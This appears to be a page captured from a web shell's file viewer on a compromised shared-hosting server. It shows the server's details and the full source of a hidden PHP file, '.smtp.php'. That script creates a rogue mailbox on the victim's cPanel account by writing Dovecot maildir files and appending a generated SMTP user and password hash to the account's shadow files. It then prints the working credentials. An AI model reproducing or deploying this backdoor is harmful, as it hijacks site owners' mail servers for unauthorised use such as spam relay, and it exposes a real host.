uawdijnntqw1x1x1
IP : 3.147.75.217
Hostname : host45.registrar-servers.com
Kernel : Linux host45.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
jackpotjunglegam
/
.cagefs
/
..
/
.
/
.clwpos
/
..
/
.cagefs
/
..
/
logs
/
..
/
www
/
.smtp.php
/
/
<?php $pwd = @getcwd(); if(!function_exists('posix_getegid')) { $usr = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $usr = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } if (empty($usr)) { if (preg_match_all("#/home/(.*)/public_html/#", $pwd, $mxx)) { preg_match_all("#/home/(.*)/public_html/#", $pwd, $mxx); $usr = $mxx[1][0]; } } preg_match_all("#/home(.*)$usr/#", $pwd, $m2); $home = $m2[1][0]; $domain = $_SERVER['HTTP_HOST']; $ip = $_SERVER["SERVER_ADDR"]; if (strstr($domain, 'www.')) { $domain = str_replace("www.", "", $domain); } else { $domain = $domain; } $cp = "/home$home$usr/.cpanel"; if (is_dir($cp)) { $pass = "wolf@" . substr(str_shuffle("123456789abcdefghijklmnopqrsyuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 50) . "#x"; $pwd = crypt($pass, '$6$roottn$'); $smtpname = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 8); // Generate random username up to 8 characters @mkdir("/home$home$usr/etc/$domain"); @mkdir("/home$home$usr/mail/$domain"); @mkdir("/home$home$usr/mail/$domain/$smtpname"); @mkdir("/home$home$usr/mail/$domain/$smtpname/.Archive"); @mkdir("/home$home$usr/mail/$domain/$smtpname/.Drafts"); @mkdir("/home$home$usr/mail/$domain/$smtpname/.Sent"); @mkdir("/home$home$usr/mail/$domain/$smtpname/.spam"); @mkdir("/home$home$usr/mail/$domain/$smtpname/.Trash"); @mkdir("/home$home$usr/mail/$domain/$smtpname/cur"); @mkdir("/home$home$usr/mail/$domain/$smtpname/new"); @mkdir("/home$home$usr/mail/$domain/$smtpname/tmp"); $file1 = "/home$home$usr/mail/$domain/$smtpname/dovecot-acl-list"; fwrite(fopen($file1, "a"), ''); $file2 = "/home$home$usr/mail/$domain/$smtpname/dovecot-uidlist"; fwrite(fopen($file2, "w"), '3 V1578724087 N1 G6789ba31f76a195e040b0000cb0407e2'); $file3 = "/home$home$usr/mail/$domain/$smtpname/dovecot-uidvalidity"; fwrite(fopen($file3, "w"), '5e196afc0'); $file4 = "/home$home$usr/mail/$domain/$smtpname/dovecot-uidvalidity.5e196afc"; fwrite(fopen($file4, "a"), ''); $file5 = "/home$home$usr/mail/$domain/$smtpname/dovecot.index.log"; fwrite(fopen($file5, "a"), ''); $file6 = "/home$home$usr/mail/$domain/$smtpname/dovecot.list.index.log"; fwrite(fopen($file6, "a"), ''); $file7 = "/home$home$usr/mail/$domain/$smtpname/dovecot.mailbox.log"; fwrite(fopen($file7, "a"), ''); $file8 = "/home$home$usr/mail/$domain/$smtpname/maildirsize"; fwrite(fopen($file8, "w"), "2147483647C\n0 0"); $file9 = "/home$home$usr/mail/$domain/$smtpname/subscriptions"; fwrite(fopen($file9, "w"), "V\t2\n\nArchive\nDrafts\nSent\nspam\nTrash"); $smtp = $smtpname . ':' . $pwd . ':16249:::::' . "\r\n"; $shadow1 = "/home$home$usr/etc/$domain/shadow"; $shadow2 = "/home$home$usr/etc/shadow"; $fo = fopen($shadow1, "a"); fwrite($fo, $smtp); $fo2 = fopen($shadow2, "a"); fwrite($fo2, $smtp); echo "<smtp>$domain|587|$smtpname@$domain|$pass</smtp>\n"; } ?>
/home/jackpotjunglegam/.cagefs/.././.clwpos/../.cagefs/../logs/../www/.smtp.php